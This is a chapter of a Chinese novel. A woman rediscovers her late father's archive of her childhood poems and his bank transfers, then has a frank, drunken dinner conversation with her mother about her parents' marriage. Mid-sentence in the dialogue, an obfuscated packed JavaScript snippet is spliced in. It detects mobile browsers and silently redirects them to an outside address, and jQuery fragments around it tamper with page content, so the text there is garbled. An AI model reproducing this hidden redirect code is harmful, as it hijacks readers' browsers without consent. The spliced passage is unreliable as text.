很快排骨的香气飘了过来，杜华年从半昏睡中清醒，突然灵光一闪，冲进主卧打开了何文谦的专用衣柜。


    果然！衣柜一个深角放着一个大塑料箱子，她把它拖出来，打开一看，嘿嘿，功夫不负有心人。她把箱子拖到了书房，要乱就乱一间房。


    箱子里的本子排列非常整齐，按照档案馆里的规制一本一本贴好侧标，一排一排捆好横标。杜华年按照年份，很轻易就能找到自己任何一个时代的记录。她翻出了一本日期最旧的，拆开布套，看见了一本页卷枯黄，老到见风就化的笔记本。


    她一下子就想起了老刘头那个古董手札。他们还真是相爱相杀的……知己。她想。


    本子里的许多文字现在看来竟然还能令她感动赞叹。我竟然还能写出这样清新的句子？她想。一页一页，她重新发现了一个丢失了很久的自我：


    天边晚霞如河，一带嫣红，


    隔开深蓝的夜空与地平线。


    晚霞里有一颗闪亮的明星，


    晚霞外又悬着一钩新月。


    新月，垂垂在嫣红的河边，


    那是月里嫦娥，恋上人间烟火，而流下来的泪么？


    还有一滴，留在了嫣红的颊边。


    她看了一眼日期，这竟然是她十一岁未满时写的小诗，在九月半的某个晚上。她好奇地去查了万年历，发现那天是周日。她不用太回想，从前一家人有每个周日都出门踏青的习惯，只要天气好，在野外奔跑之后，他们会回到祖父母家或者外祖父母家，吃一餐团圆的晚饭，然后趁着月色，三人各骑自行车，一同回家。


    她想起了那个黄昏，他们回家的时候，天明明已经黑了，星星满天，可是天边就是硬生生地又出现了一条殷红如血的霞带，与夜幕的深蓝泾渭分明，妖艳异常。霞带里的那颗星不知道叫什么名字，极其光亮，即便在明亮的霞光里，也清晰地显现出五芒，而上头那弯新月，就显得寒彻透骨了。


    在小诗的下方，隔了好几行，何文谦批：她不像我。想象如此瑰丽奇异，这条路难走了！


    好多年，好多年，她已经忘了，更想不到，留住这些的，是何文谦。她忽而望向窗外，泪湿衣襟，默然无声。


    哭了一会，她又往下翻，嚯！好家伙，你猜她发现了什么？


    ——一沓银行流水单。她翻开来，仔仔细细看，竟然是何文谦长达两年，给同一个海外账户定期汇款的全部记录，户头名称：Heasoul Shen.这是沈荷，她从大学起，就在用这个英文名，这和沈荷说的内容就对上了。她接着翻，却没翻出当年沈荷签的那份协议。


    好一个何文谦！他就是算到了，她定然要回来翻出这个箱子来的。杜华年心头浪潮翻涌，海水从双眼拼命涌出来。她低头看着流水单，想：希望我不会有用到它的一天。


    夏莲喊她吃饭。


    她深呼吸两口，回头应了一声，伸手胡乱抹掉眼泪，把箱子扣好拖到一边，走向饭厅。


    饭厅里有一张漂亮的大理石餐桌，上头的花纹极像一幅泼墨山水，当年何文谦挑了很久，加了几次价钱，才选到这张桌子。但杜华年并不喜欢，因为隔着这么大的一张桌子吃饭，即便是三个人，也像是独自一人。不过此刻的餐桌上却铺着一块鲜黄色的桌布，布料厚实，上头开满了白色和浅紫的小野菊，四角垂下来，将大理石与它的水墨花纹全全遮住。她的心情乍然间就明媚了起来，与夏莲对面而坐，面前摆着三菜一汤，令人食欲大涨。


    她喝了一口排骨汤，喟叹，“啊！真香！”


    夏莲笑了，“那多喝点，你下次回来提前说。”


    “你怎么铺上桌布了？”


    “这天已经开始冷了，大理石不凉吗？”


    “那你也用了这么多年。”


    夏莲停了下来，看着女儿，良久才说：“我一直想铺一块桌布的。”


    杜华年吃着萝卜，低头莞尔，“你记得有段时间，我爸老给一个陌生账户打钱吗？”


    夏莲刚重新吃上，又停下了，“你几个意思？”


    杜华年看她脸色剧变，立即澄清，“那个女大学生，我找到她了。”


    夏莲愣了一会儿，“啪”一下放下筷子，“他还真包养了一个？你找她做什么，有崽子？”


    杜华年被吓得一震，抚着胸口，“哎哟妈！你这性格，一点不像这个年龄的，比我还炸呢？”


    “快说！不然别吃我的饭！”


    杜华年看着夏莲笑出了声，“她跟我爸没关系，跟我有关系。”


    夏莲又愣住了，她看着女儿的笑，感觉到一种熟悉的陌生。这种陌生横在她们之间很多年了，母女只是一个名分，但现在，这份陌生好像开始成长，它似乎打算改变一下自己的形状。


    “你记得我高考完写了一本小说吧？我爸不是不让我发表吗？我和他为了这事还大吵一架。后来我还是发了那本小说，但用的是别人的名字，这个人叫做沈荷，她当年是我们学校的研究生，还在我们大学出版社兼职做编辑。那天我去投稿，这么巧就她一个人在值班，她看了我的小说，想替我出版，但领导不同意，她为了帮我，于是用了她的名字。然后，我们就成为了……朋友。”她在说出朋友两个字之前，实在不得不犹豫了一小会儿。


    杜华年还是有些黯然的，她夹了一块排骨放进嘴里，甜丝丝的，让她舒缓了一些。她是等着夏莲接话问她的，毕竟台词不是独白，不能一次性说太长，总要有来有往才对。可是夏莲没接话，这让她皱起了眉抬头去找寻原因，却发觉夏莲正呈现一种半迷糊状态，呆望着她，似乎还有些思索的成分。


    “你怎么了？妈？”她在她面前挥挥手，“妈！”


    夏莲拨开她的手，“你居然跟我解释？”


    杜华年一懵，但她很快察觉了夏莲的言下之意。回想起来，确实，她与何文谦，从来都不爱和夏莲对话。何文谦是觉得，那些今天吃什么菜，明天穿什么衣服……简直是庸俗而浪费语言。


    可是什么是高尚，什么是有价值的语言？她想起在剧组那段时光，每一天，身边的每一个人，都在说着今天吃什么，明天演什么，天气真坏，导演很凶……


    而她自己不跟夏莲说话是从什么时候开始的？不记得了，但为什么不说，她却能想起来，“妈，你从前总是我爸的应声虫，你让我跟你说什么？跟你说等于跟我爸说，那我不如直接跟他说。”


    夏莲又睁大了一些眼睛，“你看，你又跟我解释了。”她眼珠子一转，“你是不是遇到事了？你跟妈说，妈给你想办法。”说完她又觉得自己大概没什么办法，于是又补了一句，“没办法也不怕，妈有钱，妈给你钱。”


    杜华年被彻底逗笑了，开怀大笑，笑得眼泪都出来了，“妈，你不担心养老问题啦？”


    夏莲眨眨眼，“那不是，你爸，留下来的遗产……挺多的。我原来是担心我人老珠黄了，他不要我……诶，不说这些，你爸既然没包养大学生，那就其实还算爱我的。”


    杜华年看着她，突然感觉到了她的一种娇憨。


    “妈，你希望我是一个什么样的人？”


    夏莲认真地看着她，认真地皱眉，“芳啊，你到底出什么事了？”


    杜华年的眼神从好奇的明亮缓缓滑落到枯燥无神，她幽微一叹，低下眼，扯起一边嘴角自嘲一笑，摸出一支烟叼在嘴里，又摸出打火机。


    看着她熟练地点烟，夏莲震惊到失语，眼见她已经享受地吐出一口烟，她才拍桌站起来，“你抽烟？你什么时候学会抽烟的？！”


    “大学。你不是也抽吗？”杜华年轻描淡写地回她，眼都不抬。


    夏莲吓了一跳，眨巴着眼看看左右，缓缓坐下来，“你怎么知道我……”


    “我翻过你抽屉，藏在首饰盒下面那个布口袋里。”杜华年笑笑，抬眼看她，“欸，那些烟都压得皱巴巴的，抽起来不掉渣吗？”


    夏莲看着她，一脸窘迫，觉得又气又好笑，还是劝她，“抽烟对女人伤害太大了，我现在也戒了，你也戒吧。”


    杜华年透过袅袅的烟看着她，微微笑着，似乎也微微点了点头。


    夏莲突然有些恍惚，眼前的女孩儿突然就有着十足的女人味了，穿着亚麻米色的毛茸茸的家居服，光脚踩在凳子边缘，微微侧着身子靠在椅背上，手架着膝盖，素着脸，皮肤很白，眉毛很淡，眼睛很大，淡棕色的眼珠子映着暖色的灯，莹莹亮亮，一张脸骨骼分明，嘴唇丰满，唇色又很淡，一头卷发黑亮丰盈，飘散下来，给她的脸带来点浓郁的颜色。夏莲一下子不知道她长得像谁，似乎不像自己，也不像何文谦，她的脸，她的姿态，都有一种矛盾感，有些地方清淡，有些地方浓艳，又温素，又野性难驯。在朦胧的灯光和烟雾里，她甚至看见了她眼角和眉间的纹路。


    夏莲有些难过，她的女儿怎么就从一个小娃娃，长得这么大了？转眼之前，她还梗着脖子跟他们吵得翻天，转眼之后，她就抽着烟，沧桑又慵懒地同她这个老娘聊着她死去的爹、她死去的丈夫。


    “怎么了？”杜华年问她，顺手夹了一口菜。


    夏莲起身，用手抹了抹眼角的泪，去给她翻出来一个烟灰缸，还带回来一瓶黄酒，自己倒了一杯喝了，又倒了一杯。“芳芳，我没什么大志向，长得漂亮也不是我选的，我就也只有漂亮一个优点。我不懂要怎么培养你，怎么教育你，为你规划什么未来，这些，我都听你爸的。我嘛，就希望你开心平安，还能有什么呢？我再不像都好，我也是个妈，当妈的，不就图个孩子健康快乐。”


    “来，给我一杯。”杜华年把腿放下来，朝她伸出手，手心向上，四个指头并着向上抬了抬。


    “抽了烟就别喝了。”夏莲拒绝她，“幸好你上了大学就不爱回家，我要是知道你那时候就抽烟，又多一个要瞒你爸的事。”


    杜华年掐了烟，“我爸的遗言里面说，他不知道我喜欢什么颜色啦，喜欢什么食物啦……之类的，是你故意不跟他说？”


    “什么叫故意啊，他又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908163|192409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不爱听！”夏莲又倒了一杯，高声喊了一句，突然又缩回去了，“他不喜欢听这些小事情……”


    杜华年看着她狡辩，轻笑一声，“哼，他是只爱听他想听的吧？你就配合他，一直配合。结果就是他临走还怨你呢，说你都不跟他说我的喜好，导致他不能很好地了解我。你看，你出了力，但讨不到好。”


    夏莲看着她，吸气叹气，没有反驳。


    杜华年又问她，“你怎么看上我爸的？”


    夏莲盯着她看了很久，喝完一杯酒，再倒，“说实在的，追我的人里，比他有钱的也不是没有。所以你说我是为了钱嘛，也不全是。不过有什么关系，大家都这么认为，我也无所谓。”


    杜华年趁她不防，抢过酒瓶子灌了一口。夏莲拍桌，“嘿，你这个小孩……”


    “嗯，太甜了。”杜华年瘪瘪嘴，“妈，我也不是十来岁了，一个只嫁给钱的女人什么样子，我看得出来。在我们这个圈子里混，这种人能少吗？”


    夏莲叹气，“你爸追我追得不是最狠的，但他是最……奇怪的。他就跟我说，让我做自己，让我一直保持这个样子不变。我当时一听，好啊，那不是可轻松了？没想到……保持自己不变，也是一个这么难的事情。”


    杜华年望着她傻笑了一阵子，“当然难啊，谁能不变啊……不过得说，你保持得挺好的，真的。”


    夏莲也变得很放松，大约是酒精的作用，“哼，你是说我不称职呗。论当妈嘛，我肯定不称职，不过称职的妈也真的累。这还得谢谢你爸，他不让我管你的嘛，他抢走了我当妈的权利。但你不好讲我当老婆不称职的，这个得问你爸……现在也问不着了。”


    杜华年微笑了，她看见了一个丰满的夏莲，此刻她不再是一个女儿，她对她没有了那么多的苛责。也不知道是不是何文谦的死，带来了这么多的柔软，明明过年的时候，她对夏莲的态度，还是鄙夷和轻视的。


    “我似乎明白他喜欢你什么了。”杜华年说。


    “什么？”夏莲没听明白。


    “你幼稚，自私，盲目，还总是从早到晚地寻乐，某种角度去看，这就是青春。每个中年人，都对青春有一种无可救药的痴恋，就像那是毒药，不能不上瘾，不上瘾就证明不了自己的生命和存在，就像这个酒啊，明知是穿肠毒，更要喝，往无穷无尽去喝。”


    “我哪里幼稚自私了？”夏莲反驳她。


    她才不理她，“我以前觉得你只知道以色侍人，现在……好像也没有别的形容词，但我不觉得你悲哀了妈，什么样的一生都是一生啊！妈，你觉得后悔吗？”


    “后悔啥？”夏莲也开始吃菜，翻个眼问她。


    杜华年惊讶了，她睁大了眼看着她的母亲，她第一次看见真正没有悔恨的眼神，这是这个问题的标准答案：后悔啥？对，只有真的无悔的人，才会反问这个问题。


    她笑出来，越笑越大声，后来仰天长笑。


    夏莲嚼着菜说：“我记得我早就跟你说过，换个男人，还不一定愿意这么养着我呢，就算愿意，也肯定不能像他这么……不瞧不起我。”


    “尊重，那叫尊重啊妈！”杜华年笑出了眼泪，“妈诶，你是谈过多少恋爱？这么厉害呢！”她不可遏制地想起来华丽娟、诗萍、李雯、曾倩、许慕华、自己，甚至芊芊……还有那么多那么多女人，似乎无论是谁，怎么选，都没有一个人无怨无悔。


    “不多吧，从高中就谈，到遇见你爸……六七个总有，谈的时间有长有短，不过，没谈过很穷的，也不是专找有钱的谈……但是谈得多了嘛，就懂了，男人都是表面一套背后一套的。你爸却不同，说话不花，也不多，他就是奇怪嘛，但要是不奇怪，和之前那些一样，肯定都是不行的，不然我哪里用失败那么多回？”


    杜华年已经微醺了，她看着夏莲，突然非常羡慕她，“欸？你还真知道我喜欢吃什么欸，你怎么知道的？”


    夏莲翻个白眼，“我到底是你妈！”


    杜华年还不信，“那你说，我喜欢吃的面条怎么煮？”


    夏莲很不想理她，但看她那神气的样子，还是开口，“先煎鸡蛋，再用煎鸡蛋的油加辣椒炒番茄，加酱油，放水，下面条，下青菜，盛出来，把蛋卧上面。”


    杜华年无以复加地震惊，不是为了夏莲，而是为了自己。她的面前忽然竖起了一道玻璃墙，从小到大，她和她的父母似乎是生活在三个平行时空里，各自罩着玻璃罩子，透明，鸡犬相闻，但同一件事，在三个人的罩子里，是三种样子。这不就是多面叙事么？她嘲笑自己，伸手向前，摸了摸那面玻璃墙，它好像又消失了。


    到底什么才是生活的真相？


    母女俩后来喝了很多酒，东倒西歪地睡在了沙发上。先醒来的是杜华年，她收拾了饭厅的狼藉，寻了一件斗篷，坐到阳台上，用笔开始写作。


    随后夏莲也醒了，她泡了一杯牛奶，又热了一个暖水袋，送去阳台。


    她摆在桌上就走，杜华年也没抬头。